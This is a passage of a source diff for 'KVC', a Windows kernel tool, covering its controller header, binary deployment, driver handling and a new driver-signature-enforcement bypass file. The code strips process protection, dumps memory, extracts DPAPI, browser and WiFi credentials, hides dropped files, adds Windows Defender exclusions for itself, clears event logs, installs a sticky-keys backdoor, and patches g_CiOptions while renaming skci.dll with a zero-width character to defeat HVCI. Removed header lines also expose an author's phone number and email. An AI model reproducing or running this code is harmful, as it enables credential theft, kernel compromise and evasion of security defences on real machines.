uintmax_t size = 0;
|
||||
};
|
||||
|
||||
// Registry master key for DPAPI operations
|
||||
struct RegistryMasterKey
|
||||
{
|
||||
std::wstring keyName; // Registry key path (DPAPI_SYSTEM, NL$KM, etc.)
|
||||
std::vector<BYTE> encryptedData; // Raw encrypted data
|
||||
std::vector<BYTE> decryptedData; // Decrypted data
|
||||
bool isDecrypted = false; // Decryption success flag
|
||||
std::wstring keyName;
|
||||
std::vector<BYTE> encryptedData;
|
||||
std::vector<BYTE> decryptedData;
|
||||
bool isDecrypted = false;
|
||||
};
|
||||
|
||||
// Main controller class with atomic operation management
|
||||
// Main controller class managing kernel driver, process protection,
|
||||
// memory dumping, DPAPI extraction, and system operations
|
||||
class Controller
|
||||
{
|
||||
public:
|
||||
@@ -78,50 +88,100 @@ public:
|
||||
Controller(Controller&&) noexcept = default;
|
||||
Controller& operator=(Controller&&) noexcept = default;
|
||||
|
||||
// Memory dumping operations with atomic driver management
|
||||
// DSE bypass operations
|
||||
bool DisableDSE() noexcept;
|
||||
bool RestoreDSE() noexcept;
|
||||
bool DisableDSEAfterReboot() noexcept;
|
||||
ULONG_PTR GetCiOptionsAddress() const noexcept;
|
||||
bool GetDSEStatus(ULONG_PTR& outAddress, DWORD& outValue) noexcept;
|
||||
|
||||
// Handles removal and restoration of system watermark related to signature hijacking
|
||||
bool RemoveWatermark() noexcept;
|
||||
bool RestoreWatermark() noexcept;
|
||||
std::wstring GetWatermarkStatus() noexcept;
|
||||
|
||||
// Memory dumping
|
||||
bool DumpProcess(DWORD pid, const std::wstring& outputPath) noexcept;
|
||||
bool DumpProcessByName(const std::wstring& processName, const std::wstring& outputPath) noexcept;
|
||||
|
||||
// Combined binary processing for kvc.dat
|
||||
// Binary management
|
||||
bool LoadAndSplitCombinedBinaries() noexcept;
|
||||
bool WriteExtractedComponents(const std::vector<BYTE>& kvcPassData,
|
||||
const std::vector<BYTE>& kvcCryptData) noexcept;
|
||||
|
||||
// Process information operations with driver caching
|
||||
// Process information
|
||||
bool ListProtectedProcesses() noexcept;
|
||||
bool GetProcessProtection(DWORD pid) noexcept;
|
||||
bool GetProcessProtectionByName(const std::wstring& processName) noexcept;
|
||||
bool PrintProcessInfo(DWORD pid) noexcept;
|
||||
|
||||
// Process protection manipulation with atomic operations
|
||||
|
||||
// Process protection manipulation
|
||||
bool SetProcessProtection(DWORD pid, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept;
|
||||
bool ProtectProcess(DWORD pid, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept;
|
||||
bool UnprotectProcess(DWORD pid) noexcept;
|
||||
|
||||
// Name-based operations
|
||||
bool ProtectProcessByName(const std::wstring& processName, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept;
|
||||
bool UnprotectProcessByName(const std::wstring& processName) noexcept;
|
||||
bool SetProcessProtectionByName(const std::wstring& processName, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept;
|
||||
|
||||
// Signer-based batch operations
|
||||
bool UnprotectBySigner(const std::wstring& signerName) noexcept;
|
||||
bool ListProcessesBySigner(const std::wstring& signerName) noexcept;
|
||||
bool SetProtectionBySigner(const std::wstring& currentSigner,
|
||||
const std::wstring& level,
|
||||
const std::wstring& newSigner) noexcept;
|
||||
|
||||
// Session state management
|
||||
bool RestoreProtectionBySigner(const std::wstring& signerName) noexcept;
|
||||
bool RestoreAllProtection() noexcept;
|
||||
void ShowSessionHistory() noexcept;
|
||||
bool SetProcessProtection(ULONG_PTR addr, UCHAR protection) noexcept;
|
||||
|
||||
SessionManager m_sessionMgr;
|
||||
|
||||
// Batch operations
|
||||
bool UnprotectAllProcesses() noexcept;
|
||||
bool UnprotectMultipleProcesses(const std::vector<std::wstring>& targets) noexcept;
|
||||
bool ProtectMultipleProcesses(const std::vector<std::wstring>& targets,
|
||||
const std::wstring& protectionLevel,
|
||||
const std::wstring& signerType) noexcept;
|
||||
bool SetMultipleProcessesProtection(const std::vector<std::wstring>& targets,
|
||||
const std::wstring& protectionLevel,
|
||||
const std::wstring& signerType) noexcept;
|
||||
|
||||
// DPAPI password extraction with TrustedInstaller
|
||||
// Process termination
|
||||
bool KillMultipleProcesses(const std::vector<DWORD>& pids) noexcept;
|
||||
bool KillMultipleTargets(const std::vector<std::wstring>& targets) noexcept;
|
||||
bool KillProcess(DWORD pid) noexcept;
|
||||
bool KillProcessByName(const std::wstring& processName) noexcept;
|
||||
|
||||
// Kernel access
|
||||
std::optional<ULONG_PTR> GetProcessKernelAddress(DWORD pid) noexcept;
|
||||
std::optional<UCHAR> GetProcessProtection(ULONG_PTR kernelAddress) noexcept;
|
||||
std::vector<ProcessEntry> GetProcessList() noexcept;
|
||||
|
||||
// Self-protection
|
||||
bool SelfProtect(const std::wstring& protectionLevel, const std::wstring& signerType) noexcept;
|
||||
std::optional<ProcessMatch> ResolveNameWithoutDriver(const std::wstring& processName) noexcept;
|
||||
|
||||
// DPAPI password extraction
|
||||
bool ShowPasswords(const std::wstring& outputPath) noexcept;
|
||||
bool ExportBrowserData(const std::wstring& outputPath, const std::wstring& browserType) noexcept;
|
||||
|
||||
// Enhanced system integration with comprehensive Defender exclusion management
|
||||
// TrustedInstaller operations
|
||||
bool RunAsTrustedInstaller(const std::wstring& commandLine);
|
||||
bool RunAsTrustedInstallerSilent(const std::wstring& command);
|
||||
bool AddContextMenuEntries();
|
||||
|
||||
// Legacy exclusion management (backward compatibility)
|
||||
// Windows Defender exclusions
|
||||
bool AddToDefenderExclusions(const std::wstring& customPath = L"");
|
||||
bool RemoveFromDefenderExclusions(const std::wstring& customPath = L"");
|
||||
|
||||
// Enhanced exclusion management with type specification
|
||||
bool AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType type, const std::wstring& value);
|
||||
bool RemoveDefenderExclusion(TrustedInstallerIntegrator::ExclusionType type, const std::wstring& value);
|
||||
|
||||
// Type-specific exclusion convenience methods
|
||||
// Type-specific exclusions
|
||||
bool AddExtensionExclusion(const std::wstring& extension);
|
||||
bool RemoveExtensionExclusion(const std::wstring& extension);
|
||||
bool AddIpAddressExclusion(const std::wstring& ipAddress);
|
||||
@@ -131,67 +191,84 @@ public:
|
||||
bool AddPathExclusion(const std::wstring& path);
|
||||
bool RemovePathExclusion(const std::wstring& path);
|
||||
|
||||
// Event log clearing operations with administrative privileges
|
||||
// System administration
|
||||
bool ClearSystemEventLogs() noexcept;
|
||||
|
||||
// Legacy driver management for compatibility
|
||||
// Driver management
|
||||
bool InstallDriver() noexcept;
|
||||
bool UninstallDriver() noexcept;
|
||||
bool StartDriverService() noexcept;
|
||||
bool StopDriverService() noexcept;
|
||||
bool StartDriverServiceSilent() noexcept;
|
||||
std::vector<BYTE> ExtractEncryptedDriver() noexcept;
|
||||
std::vector<BYTE> DecryptDriver(const std::vector<BYTE>& encryptedData) noexcept;
|
||||
|
||||
// Self-protection operations
|
||||
bool SelfProtect(const std::wstring& protectionLevel, const std::wstring& signerType) noexcept;
|
||||
std::optional<ProcessMatch> ResolveNameWithoutDriver(const std::wstring& processName) noexcept;
|
||||
// Driver extraction (already decrypted by Utils)
|
||||
std::vector<BYTE> ExtractDriver() noexcept;
|
||||
|
||||
// Sticky keys backdoor management
|
||||
// Emergency operations
|
||||
bool PerformAtomicCleanup() noexcept;
|
||||
|
||||
// Backdoor management
|
||||
bool InstallStickyKeysBackdoor() noexcept;
|
||||
bool RemoveStickyKeysBackdoor() noexcept;
|
||||
|
||||
private:
|
||||
// Core components
|
||||
TrustedInstallerIntegrator m_trustedInstaller;
|
||||
std::unique_ptr<kvc> m_rtc;
|
||||
std::unique_ptr<OffsetFinder> m_of;
|
||||
std::unique_ptr<DSEBypass> m_dseBypass;
|
||||
SQLiteAPI m_sqlite;
|
||||
|
||||
// Privilege and system management
|
||||
bool EnablePrivilege(LPCWSTR privilegeName) noexcept;
|
||||
// Privilege management
|
||||
bool EnableDebugPrivilege() noexcept;
|
||||
|
||||
// Enhanced file writing with TrustedInstaller privileges
|
||||
bool WriteFileWithPrivileges(const std::wstring& filePath, const std::vector<BYTE>& data) noexcept;
|
||||
|
||||
// PE splitting with enhanced validation
|
||||
// Binary processing
|
||||
bool SplitCombinedPE(const std::vector<BYTE>& combinedData,
|
||||
std::vector<BYTE>& kvcPassData,
|
||||
std::vector<BYTE>& kvcCryptData) noexcept;
|
||||
|
||||
// Atomic driver operations for stability
|
||||
// Driver operations
|
||||
bool ForceRemoveService() noexcept;
|
||||
bool EnsureDriverAvailable() noexcept;
|
||||
bool IsDriverCurrentlyLoaded() noexcept;
|
||||
bool PerformAtomicInit() noexcept;
|
||||
bool PerformAtomicInitWithErrorCleanup() noexcept;
|
||||
|
||||
// Silent driver installation
|
||||
bool InstallDriverSilently() noexcept;
|
||||
bool RegisterDriverServiceSilent(const std::wstring& driverPath) noexcept;
|
||||
|
||||
// Kernel process management
|
||||
std::optional<ULONG_PTR> GetInitialSystemProcessAddress() noexcept;
|
||||
std::optional<ULONG_PTR> GetProcessKernelAddress(DWORD pid) noexcept;
|
||||
std::vector<ProcessEntry> GetProcessList() noexcept;
|
||||
std::optional<UCHAR> GetProcessProtection(ULONG_PTR addr) noexcept;
|
||||
bool SetProcessProtection(ULONG_PTR addr, UCHAR protection) noexcept;
|
||||
// Driver session management
|
||||
bool m_driverSessionActive = false;
|
||||
std::chrono::steady_clock::time_point m_lastDriverUsage;
|
||||
|
||||
// Process pattern matching with regex support
|
||||
bool BeginDriverSession();
|
||||
bool IsServiceZombie() noexcept;
|
||||
void EndDriverSession(bool force = false);
|
||||
void UpdateDriverUsageTimestamp();
|
||||
|
||||
// Cache management
|
||||
void RefreshKernelAddressCache();
|
||||
std::optional<ULONG_PTR> GetCachedKernelAddress(DWORD pid);
|
||||
|
||||
// Internal process termination
|
||||
bool KillProcessInternal(DWORD pid, bool batchOperation = false) noexcept;
|
||||
|
||||
// Kernel address cache
|
||||
std::unordered_map<DWORD, ULONG_PTR> m_kernelAddressCache;
|
||||
std::chrono::steady_clock::time_point m_cacheTimestamp;
|
||||
std::vector<ProcessEntry> m_cachedProcessList;
|
||||
|
||||
// Process management
|
||||
std::optional<ULONG_PTR> GetInitialSystemProcessAddress() noexcept;
|
||||
std::vector<ProcessMatch> FindProcessesByName(const std::wstring& pattern) noexcept;
|
||||
bool IsPatternMatch(const std::wstring& processName, const std::wstring& pattern) noexcept;
|
||||
|
||||
// Memory dumping with comprehensive protection handling
|
||||
// Batch operation helpers
|
||||
bool ProtectProcessInternal(DWORD pid, const std::wstring& protectionLevel,
|
||||
const std::wstring& signerType, bool batchOperation) noexcept;
|
||||
bool SetProcessProtectionInternal(DWORD pid, const std::wstring& protectionLevel,
|
||||
const std::wstring& signerType, bool batchOperation) noexcept;
|
||||
|
||||
// Memory dumping
|
||||
bool CreateMiniDump(DWORD pid, const std::wstring& outputPath) noexcept;
|
||||
bool SetCurrentProcessProtection(UCHAR protection) noexcept;
|
||||
|
||||
@@ -199,39 +276,31 @@ private:
|
||||
bool PerformPasswordExtractionInit() noexcept;
|
||||
void PerformPasswordExtractionCleanup() noexcept;
|
||||
|
||||
// Registry master key extraction with TrustedInstaller
|
||||
// Registry master key extraction
|
||||
bool ExtractRegistryMasterKeys(std::vector<RegistryMasterKey>& masterKeys) noexcept;
|
||||
bool ExtractLSASecretsViaTrustedInstaller(std::vector<RegistryMasterKey>& masterKeys) noexcept;
|
||||
bool ParseRegFileForSecrets(const std::wstring& regFilePath, std::vector<RegistryMasterKey>& masterKeys) noexcept;
|
||||
bool ConvertHexStringToBytes(const std::wstring& hexString, std::vector<BYTE>& bytes) noexcept;
|
||||
|
||||
// Registry master key processing for enhanced display
|
||||
bool ProcessRegistryMasterKeys(std::vector<RegistryMasterKey>& masterKeys) noexcept;
|
||||
std::string BytesToHexString(const std::vector<BYTE>& bytes) noexcept;
|
||||
|
||||
// Browser password processing with AES-GCM decryption
|
||||
// Browser password processing
|
||||
bool ProcessBrowserPasswords(const std::vector<RegistryMasterKey>& masterKeys, std::vector<PasswordResult>& results, const std::wstring& outputPath) noexcept;
|
||||
bool ProcessSingleBrowser(const std::wstring& browserPath, const std::wstring& browserName, const std::vector<RegistryMasterKey>& masterKeys, std::vector<PasswordResult>& results, const std::wstring& outputPath) noexcept;
|
||||
bool ExtractBrowserMasterKey(const std::wstring& browserPath, const std::wstring& browserName, const std::vector<RegistryMasterKey>& masterKeys, std::vector<BYTE>& decryptedKey) noexcept;
|
||||
int ProcessLoginDatabase(const std::wstring& loginDataPath, const std::wstring& browserName, const std::wstring& profileName, const std::vector<BYTE>& masterKey, std::vector<PasswordResult>& results, const std::wstring& outputPath) noexcept;
|
||||
|
||||
// WiFi credential extraction via netsh
|
||||
// WiFi credentials
|
||||
bool ExtractWiFiCredentials(std::vector<PasswordResult>& results) noexcept;
|
||||
|
||||
// SQLite database operations
|
||||
// SQLite operations
|
||||
bool LoadSQLiteLibrary() noexcept;
|
||||
void UnloadSQLiteLibrary() noexcept;
|
||||
|
||||
// Cryptographic operations for DPAPI and Chrome AES-GCM
|
||||
std::vector<BYTE> Base64Decode(const std::string& encoded) noexcept;
|
||||
// Cryptographic operations
|
||||
std::vector<BYTE> DecryptWithDPAPI(const std::vector<BYTE>& encryptedData, const std::vector<RegistryMasterKey>& masterKeys) noexcept;
|
||||
std::string DecryptChromeAESGCM(const std::vector<BYTE>& encryptedData, const std::vector<BYTE>& key) noexcept;
|
||||
|
||||
// Process name resolution with driver-free options
|
||||
// Process name resolution
|
||||
std::optional<ProcessMatch> ResolveProcessName(const std::wstring& processName) noexcept;
|
||||
std::vector<ProcessMatch> FindProcessesByNameWithoutDriver(const std::wstring& pattern) noexcept;
|
||||
|
||||
// Emergency cleanup for atomic operations
|
||||
bool PerformAtomicCleanup() noexcept;
|
||||
|
||||
};
|
||||
@@ -1,29 +1,5 @@
|
||||
/*******************************************************************************
|
||||
_ ____ ______
|
||||
| |/ /\ \ / / ___|
|
||||
| ' / \ \ / / |
|
||||
| . \ \ V /| |___
|
||||
|_|\_\ \_/ \____|
|
||||
// ControllerBinaryManager.cpp - Binary component extraction and deployment with privilege escalation
|
||||
|
||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
||||
|
||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
||||
that define these protections.
|
||||
|
||||
-----------------------------------------------------------------------------
|
||||
Author : Marek Wesołowski
|
||||
Email : marek@wesolowski.eu.org
|
||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
||||
Date : 04-09-2025
|
||||
|
||||
*******************************************************************************/
|
||||
|
||||
// ControllerBinaryManager.cpp - Fixed compilation issues
|
||||
#include "Controller.h"
|
||||
#include "common.h"
|
||||
#include "Utils.h"
|
||||
@@ -32,6 +8,7 @@ that define these protections.
|
||||
|
||||
namespace fs = std::filesystem;
|
||||
|
||||
// Writes file with automatic privilege escalation if normal write fails
|
||||
bool Controller::WriteFileWithPrivileges(const std::wstring& filePath, const std::vector<BYTE>& data) noexcept
|
||||
{
|
||||
// First attempt: normal write operation
|
||||
@@ -49,11 +26,11 @@ bool Controller::WriteFileWithPrivileges(const std::wstring& filePath, const std
|
||||
SetFileAttributesW(filePath.c_str(), FILE_ATTRIBUTE_NORMAL);
|
||||
}
|
||||
|
||||
// Force delete if still locked
|
||||
// Try to delete with normal privileges first
|
||||
if (!DeleteFileW(filePath.c_str())) {
|
||||
// Use TrustedInstaller for stubborn files - call on instance
|
||||
std::wstring delCmd = L"cmd.exe /c del /f /q \"" + filePath + L"\"";
|
||||
if (!m_trustedInstaller.RunAsTrustedInstallerSilent(delCmd)) {
|
||||
// Fallback: Use TrustedInstaller for system-protected files
|
||||
INFO(L"Normal delete failed, escalating to TrustedInstaller");
|
||||
if (!m_trustedInstaller.DeleteFileAsTrustedInstaller(filePath)) {
|
||||
ERROR(L"Failed to delete existing file with TrustedInstaller: %s", filePath.c_str());
|
||||
return false;
|
||||
}
|
||||
@@ -65,25 +42,10 @@ bool Controller::WriteFileWithPrivileges(const std::wstring& filePath, const std
|
||||
return true;
|
||||
}
|
||||
|
||||
// Final fallback: use TrustedInstaller to write file
|
||||
const fs::path tempDir = fs::temp_directory_path();
|
||||
const fs::path tempFile = tempDir / fs::path(filePath).filename();
|
||||
|
||||
// Write to temp location first
|
||||
if (!Utils::WriteFile(tempFile.wstring(), data)) {
|
||||
ERROR(L"Failed to write to temporary location: %s", tempFile.c_str());
|
||||
return false;
|
||||
}
|
||||
|
||||
// Copy from temp to target with TrustedInstaller - call on instance
|
||||
std::wstring copyCmd = L"cmd.exe /c copy /y \"" + tempFile.wstring() + L"\" \"" + filePath + L"\"";
|
||||
bool copySuccess = m_trustedInstaller.RunAsTrustedInstallerSilent(copyCmd);
|
||||
|
||||
// Cleanup temp file
|
||||
DeleteFileW(tempFile.c_str());
|
||||
|
||||
if (!copySuccess) {
|
||||
ERROR(L"TrustedInstaller copy operation failed for: %s", filePath.c_str());
|
||||
// Final fallback: write directly with TrustedInstaller privileges
|
||||
INFO(L"Using TrustedInstaller to write file to protected location");
|
||||
if (!m_trustedInstaller.WriteFileAsTrustedInstaller(filePath, data)) {
|
||||
ERROR(L"TrustedInstaller write operation failed for: %s", filePath.c_str());
|
||||
return false;
|
||||
}
|
||||
|
||||
@@ -168,17 +130,23 @@ bool Controller::WriteExtractedComponents(const std::vector<BYTE>& kvcPassData,
|
||||
SetFileAttributesW(kvcCryptPath.c_str(), stealthAttribs);
|
||||
SetFileAttributesW(kvcMainPath.c_str(), stealthAttribs);
|
||||
|
||||
// Add Windows Defender exclusions for deployed components
|
||||
// Add Windows Defender exclusions for deployed components using batch operation
|
||||
INFO(L"Adding Windows Defender exclusions for deployed components");
|
||||
|
||||
// Add paths (all files)
|
||||
m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Paths, kvcPassPath.wstring());
|
||||
m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Paths, kvcCryptPath.wstring());
|
||||
m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Paths, kvcMainPath.wstring());
|
||||
// Use batch operation instead of individual calls for better performance
|
||||
std::vector<std::wstring> paths = {
|
||||
kvcPassPath.wstring(),
|
||||
kvcCryptPath.wstring(),
|
||||
kvcMainPath.wstring()
|
||||
};
|
||||
|
||||
// Add processes (executables only)
|
||||
m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Processes, L"kvc_pass.exe");
|
||||
m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Processes, L"kvc.exe");
|
||||
std::vector<std::wstring> processes = {
|
||||
L"kvc_pass.exe",
|
||||
L"kvc.exe"
|
||||
};
|
||||
|
||||
// Single batch call replaces 5 individual operations - much faster!
|
||||
int exclusionsAdded = m_trustedInstaller.AddMultipleDefenderExclusions(paths, processes, {});
|
||||
|
||||
INFO(L"Windows Defender exclusions configured successfully");
|
||||
|
||||
@@ -257,4 +225,3 @@ bool Controller::LoadAndSplitCombinedBinaries() noexcept
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -1,33 +1,9 @@
|
||||
/*******************************************************************************
|
||||
_ ____ ______
|
||||
| |/ /\ \ / / ___|
|
||||
| ' / \ \ / / |
|
||||
| . \ \ V /| |___
|
||||
|_|\_\ \_/ \____|
|
||||
|
||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
||||
|
||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
||||
that define these protections.
|
||||
|
||||
-----------------------------------------------------------------------------
|
||||
Author : Marek Wesołowski
|
||||
Email : marek@wesolowski.eu.org
|
||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
||||
Date : 04-09-2025
|
||||
|
||||
*******************************************************************************/
|
||||
|
||||
// ControllerCore.cpp
|
||||
#include "Controller.h"
|
||||
#include "common.h"
|
||||
#include <algorithm>
|
||||
#include "resource.h"
|
||||
#include <algorithm>
|
||||
#include <chrono>
|
||||
|
||||
extern volatile bool g_interrupted;
|
||||
|
||||
@@ -42,16 +18,22 @@ Controller::~Controller() {
|
||||
|
||||
// Atomic operation cleanup - critical for BSOD prevention
|
||||
bool Controller::PerformAtomicCleanup() noexcept {
|
||||
INFO(L"Starting atomic cleanup procedure...");
|
||||
DEBUG(L"Starting atomic cleanup procedure...");
|
||||
|
||||
// 1. First, close the connection to the driver
|
||||
if (m_rtc) {
|
||||
DEBUG(L"Cleaning up driver connection...");
|
||||
m_rtc->Cleanup(); // This ensures the handle is properly closed
|
||||
if (m_rtc && m_rtc->IsConnected()) {
|
||||
DEBUG(L"Force-closing driver connection...");
|
||||
m_rtc->Cleanup();
|
||||
}
|
||||
|
||||
// 2. Wait for resources to be released
|
||||
Sleep(200);
|
||||
// Only for USB Debug Sleep(200);
|
||||
|
||||
// CHECK IF THE SERVICE IS A ZOMBIE
|
||||
if (IsServiceZombie()) {
|
||||
DEBUG(L"Service in zombie state - skipping aggressive cleanup to avoid BSOD");
|
||||
return true;
|
||||
}
|
||||
|
||||
// 3. Stop the service (if it exists)
|
||||
DEBUG(L"Stopping driver service...");
|
||||
@@ -87,12 +69,12 @@ bool Controller::PerformAtomicCleanup() noexcept {
|
||||
}
|
||||
CloseServiceHandle(hSCM);
|
||||
}
|
||||
Sleep(100);
|
||||
// Only for USB Debug Sleep(100);
|
||||
}
|
||||
}
|
||||
|
||||
// 5. Wait again for safety
|
||||
Sleep(300);
|
||||
// Only for USB Debug Sleep(100);
|
||||
|
||||
// 6. Only uninstall if the service is confirmed to be stopped
|
||||
if (serviceVerified) {
|
||||
@@ -103,10 +85,10 @@ bool Controller::PerformAtomicCleanup() noexcept {
|
||||
}
|
||||
|
||||
// 7. Reinitialize for subsequent operations
|
||||
Sleep(500);
|
||||
// Only for USB Debug Sleep(100);
|
||||
m_rtc = std::make_unique<kvc>();
|
||||
|
||||
SUCCESS(L"Atomic cleanup completed successfully");
|
||||
DEBUG(L"Atomic cleanup completed successfully");
|
||||
return true;
|
||||
}
|
||||
|
||||
@@ -128,7 +110,13 @@ bool Controller::PerformAtomicInitWithErrorCleanup() noexcept {
|
||||
|
||||
// Core driver availability check with fallback mechanisms
|
||||
bool Controller::EnsureDriverAvailable() noexcept {
|
||||
if (IsServiceZombie()) {
|
||||
DEBUG(L"Service zombie detected - cannot reload driver safely");
|
||||
return false; // AVOID BSOD - do not reload the driver
|
||||
}
|
||||
// Phase 1: Check if the driver is already available (without testing)
|
||||
ForceRemoveService();
|
||||
// Only for USB Debug Sleep(100);
|
||||
if (IsDriverCurrentlyLoaded()) {
|
||||
return true;
|
||||
}
|
||||
@@ -151,7 +139,7 @@ bool Controller::EnsureDriverAvailable() noexcept {
|
||||
CloseServiceHandle(hSCM);
|
||||
|
||||
// Give it time to start
|
||||
Sleep(500);
|
||||
// Only for USB Debug Sleep(100);
|
||||
|
||||
// Check if it's running now (without a test read)
|
||||
if (m_rtc->Initialize() && m_rtc->IsConnected()) {
|
||||
@@ -160,7 +148,7 @@ bool Controller::EnsureDriverAvailable() noexcept {
|
||||
}
|
||||
|
||||
// Phase 3: Install a new driver (ONLY if necessary)
|
||||
INFO(L"Initializing kernel driver component...");
|
||||
DEBUG(L"Initializing kernel driver component...");
|
||||
|
||||
if (!InstallDriverSilently()) {
|
||||
ERROR(L"Failed to install kernel driver component");
|
||||
@@ -178,7 +166,7 @@ bool Controller::EnsureDriverAvailable() noexcept {
|
||||
return false;
|
||||
}
|
||||
|
||||
SUCCESS(L"Kernel driver component initialized successfully");
|
||||
DEBUG(L"Kernel driver component initialized successfully");
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
349
kvc/ControllerDSE.cpp
Normal file
349
kvc/ControllerDSE.cpp
Normal file
@@ -0,0 +1,349 @@
|
||||
#include "Controller.h"
|
||||
#include "common.h"
|
||||
|
||||
bool Controller::DisableDSE() noexcept {
|
||||
// Check if HVCI bypass already prepared (pending reboot)
|
||||
HKEY hKey = nullptr;
|
||||
bool bypassPending = false;
|
||||
|
||||
if (RegOpenKeyExW(HKEY_CURRENT_USER, L"Software\\Kvc\\DSE", 0,
|
||||
KEY_READ, &hKey) == ERROR_SUCCESS) {
|
||||
wchar_t state[256] = {0};
|
||||
DWORD size = sizeof(state);
|
||||
|
||||
if (RegQueryValueExW(hKey, L"State", NULL, NULL,
|
||||
reinterpret_cast<BYTE*>(state), &size) == ERROR_SUCCESS) {
|
||||
if (wcscmp(state, L"AwaitingRestore") == 0) {
|
||||
bypassPending = true;
|
||||
|
||||
// Verify the renamed file actually exists
|
||||
wchar_t sysDir[MAX_PATH];
|
||||
if (GetSystemDirectoryW(sysDir, MAX_PATH) > 0) {
|
||||
std::wstring checkPath = std::wstring(sysDir) + L"\\skci\u200B.dll";
|
||||
if (GetFileAttributesW(checkPath.c_str()) == INVALID_FILE_ATTRIBUTES) {
|
||||
// File doesn't exist - state is stale/invalid
|
||||
bypassPending = false;
|
||||
DEBUG(L"Stale bypass state detected - skci.dlI not found");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
RegCloseKey(hKey);
|
||||
hKey = nullptr;
|
||||
}
|
||||
|
||||
// If bypass already prepared, prompt for reboot without touching driver
|
||||
if (bypassPending) {
|
||||
std::wcout << L"\n";
|
||||
INFO(L"HVCI bypass already prepared from previous session");
|
||||
INFO(L"System reboot is required to complete the bypass");
|
||||
INFO(L"After reboot, use 'KVC DSE OFF' to disable driver signing");
|
||||
std::wcout << L"\n";
|
||||
std::wcout << L"Reboot now? [Y/N]: ";
|
||||
wchar_t choice;
|
||||
std::wcin >> choice;
|
||||
|
||||
if (choice == L'Y' || choice == L'y') {
|
||||
INFO(L"Initiating system reboot...");
|
||||
|
||||
// Enable shutdown privilege
|
||||
HANDLE hToken;
|
||||
TOKEN_PRIVILEGES tkp;
|
||||
|
||||
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
|
||||
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid);
|
||||
tkp.PrivilegeCount = 1;
|
||||
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, 0);
|
||||
CloseHandle(hToken);
|
||||
}
|
||||
|
||||
// Initiate reboot
|
||||
if (InitiateShutdownW(NULL, NULL, 0, SHUTDOWN_RESTART | SHUTDOWN_FORCE_OTHERS, SHTDN_REASON_MAJOR_SOFTWARE | SHTDN_REASON_MINOR_RECONFIGURE) != ERROR_SUCCESS) {
|
||||
ERROR(L"Failed to initiate reboot: %d", GetLastError());
|
||||
}
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
// Normal flow - proceed with driver operations
|
||||
PerformAtomicCleanup();
|
||||
|
||||
if (!BeginDriverSession()) {
|
||||
ERROR(L"Failed to start driver session for DSE bypass");
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!m_rtc->Initialize()) {
|
||||
ERROR(L"Failed to initialize driver handle");
|
||||
EndDriverSession(true);
|
||||
return false;
|
||||
}
|
||||
|
||||
DEBUG(L"Driver handle opened successfully");
|
||||
|
||||
if (!m_dseBypass) {
|
||||
m_dseBypass = std::make_unique<DSEBypass>(m_rtc, &m_trustedInstaller);
|
||||
}
|
||||
|
||||
auto ciBase = m_dseBypass->GetKernelModuleBase("ci.dll");
|
||||
if (!ciBase) {
|
||||
ERROR(L"Failed to locate ci.dll");
|
||||
EndDriverSession(true);
|
||||
return false;
|
||||
}
|
||||
|
||||
ULONG_PTR ciOptionsAddr = m_dseBypass->FindCiOptions(ciBase.value());
|
||||
if (!ciOptionsAddr) {
|
||||
ERROR(L"Failed to locate g_CiOptions");
|
||||
EndDriverSession(true);
|
||||
return false;
|
||||
}
|
||||
|
||||
auto current = m_rtc->Read32(ciOptionsAddr);
|
||||
if (!current) {
|
||||
ERROR(L"Failed to read g_CiOptions");
|
||||
EndDriverSession(true);
|
||||
return false;
|
||||
}
|
||||
|
||||
DWORD currentValue = current.value();
|
||||
DEBUG(L"Current g_CiOptions: 0x%08X", currentValue);
|
||||
|
||||
bool hvciEnabled = (currentValue & 0x0001C000) != 0;
|
||||
|
||||
if (hvciEnabled) {
|
||||
INFO(L"HVCI detected (g_CiOptions = 0x%08X) - hypervisor bypass required", currentValue);
|
||||
INFO(L"Preparing secure kernel deactivation (fully reversible)...");
|
||||
|
||||
SUCCESS(L"Secure Kernel module prepared for temporary deactivation");
|
||||
SUCCESS(L"System configuration: hypervisor bypass prepared (fully reversible)");
|
||||
INFO(L"No files will be permanently modified or deleted");
|
||||
std::wcout << L"\n";
|
||||
|
||||
